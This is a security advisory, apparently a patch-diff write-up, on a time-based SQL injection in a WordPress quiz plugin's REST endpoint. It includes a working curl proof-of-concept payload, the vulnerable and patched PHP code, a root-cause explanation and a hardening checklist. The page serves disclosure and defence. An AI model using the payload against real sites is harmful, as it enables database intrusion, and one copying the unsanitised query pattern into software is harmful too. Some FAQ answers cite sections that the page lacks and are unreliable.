SECURITY ADVISORY / 01

CVE-2025-9318 Exploit & Vulnerability Analysis

Complete CVE-2025-9318 security advisory with proof of concept (PoC), exploit details, and patch analysis.

cve_patchdiff:quiz-master-next NVD ↗
Exploit PoC Vulnerability Patch Analysis

The Exploit

Requires an authenticated Subscriber-level account or higher.

curl -i -s -X POST 'https://TARGET_HOST/wp-json/qsm/v1/questions/123' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -H 'Cookie: wordpress_logged_in=YOUR_SESSION_COOKIE' \
  --data 'is_linking=1 OR SLEEP(5)'

The attacker sees the request delay by about 5 seconds and then return a normal QSM REST response, proving that the injected SLEEP(5) expression was evaluated inside the SQL IN(...) clause. The timing difference is enough to confirm the time-based SQL injection in is_linking.

What the Patch Did

Before:

'permission_callback' => '__return_true',
...
$is_linking = isset( $request['is_linking'] ) ? $request['is_linking'] : 0;
...
$quiz_results = $wpdb->get_results(
    "SELECT `quiz_id`, `question_id` FROM `{$wpdb->prefix}mlw_questions` WHERE `question_id` IN (" .$comma_separated_ids. ")"
);

After:

'permission_callback' => function () {
    return current_user_can( 'edit_qsm_quizzes' );
},
...
$is_linking = isset( $request['is_linking'] ) ? intval( $request['is_linking'] ) : 0;
$linked_ids = array();

if ( isset( $question['linked_question'] ) && '' !== $question['linked_question'] ) {
    $existing_ids = array_map( 'intval', array_filter( array_map( 'trim', explode( ',', $question['linked_question'] ) ) ) );
    if ( ! empty( $existing_ids ) ) {
        $linked_ids = $existing_ids;
    }
}

if ( 1 <= $is_linking ) {
    $linked_ids[] = $is_linking;
}

$linked_ids = array_values( array_unique( array_filter( $linked_ids ) ) );
...
if ( ! empty( $linked_ids ) ) {
    $linked_ids  = array_map( 'intval', $linked_ids );
    $ids_list    = implode( ',', $linked_ids );
    $quiz_results = $wpdb->get_results(
        "SELECT `quiz_id`, `question_id` FROM `{$wpdb->prefix}mlw_questions` WHERE `question_id` IN (" . $ids_list . ")"
    );
}

The patch added capability-based authorization via current_user_can('edit_qsm_quizzes') and sanitized the is_linking parameter with intval() plus integer normalization for the final ID list.

Root Cause

This is CWE-89, SQL Injection. The REST endpoint accepted the request parameter is_linking, kept it as raw request data, and later concatenated it directly into an SQL IN (...) clause via $wpdb->get_results() without using $wpdb->prepare(). PHP’s loose numeric comparison meant payloads like 1 OR SLEEP(5) still passed 1 <= $is_linking, so the attacker-controlled string survived into the SQL expression. The bug crosses a trust boundary from HTTP request data straight into a database query.

Why It Works

The load-bearing fix is the intval( $request['is_linking'] ) assignment. That single line converts attacker-controlled input into a plain integer before any SQL construction happens. Without it, is_linking can contain OR, SLEEP(), or other SQL operators and be inserted directly into question_id IN (...). The additional array normalization lines are defensive cleanup: they clean existing linked IDs from the DB, remove empty values, and ensure the final list is only integers. But if the initial intval() line were removed, the injection would still be exploitable.

Hardening Checklist

  • Use current_user_can('edit_qsm_quizzes') or the appropriate capability in permission_callback for REST routes.
  • Cast numeric REST inputs with intval() or absint() before using them in SQL.
  • Normalize comma-separated ID lists with array_map('intval', array_filter(...)) before implode(',').
  • Avoid string concatenation into SQL; use $wpdb->prepare() wherever user input is involved.
  • Do not trust PHP loose typing for security; validate and sanitize request parameters explicitly.

References

  • https://nvd.nist.gov/vuln/detail/CVE-2025-9318

Frequently asked questions about CVE-2025-9318

What is CVE-2025-9318?

CVE-2025-9318 is a security vulnerability. This security advisory provides detailed technical analysis of the vulnerability, exploit methodology, affected versions, and complete remediation guidance.

Is there a PoC (proof of concept) for CVE-2025-9318?

Yes. This writeup includes proof-of-concept details and a technical exploit breakdown for CVE-2025-9318. Review the analysis sections above for the PoC walkthrough and code examples.

How does CVE-2025-9318 get exploited?

The technical analysis section explains the vulnerability mechanics, attack vectors, and exploitation methodology. PatchLeaks publishes this information for defensive and educational purposes.

What products and versions are affected by CVE-2025-9318?

CVE-2025-9318 — check the affected-versions section of this advisory for specific version ranges, vulnerable configurations, and compatibility information.

How do I fix or patch CVE-2025-9318?

The patch analysis section provides guidance on updating to patched versions, applying workarounds, and implementing compensating controls.

What is the CVSS score for CVE-2025-9318?

The severity rating and CVSS scoring for CVE-2025-9318 is documented in the vulnerability details section. Refer to the NVD entry for the current authoritative score.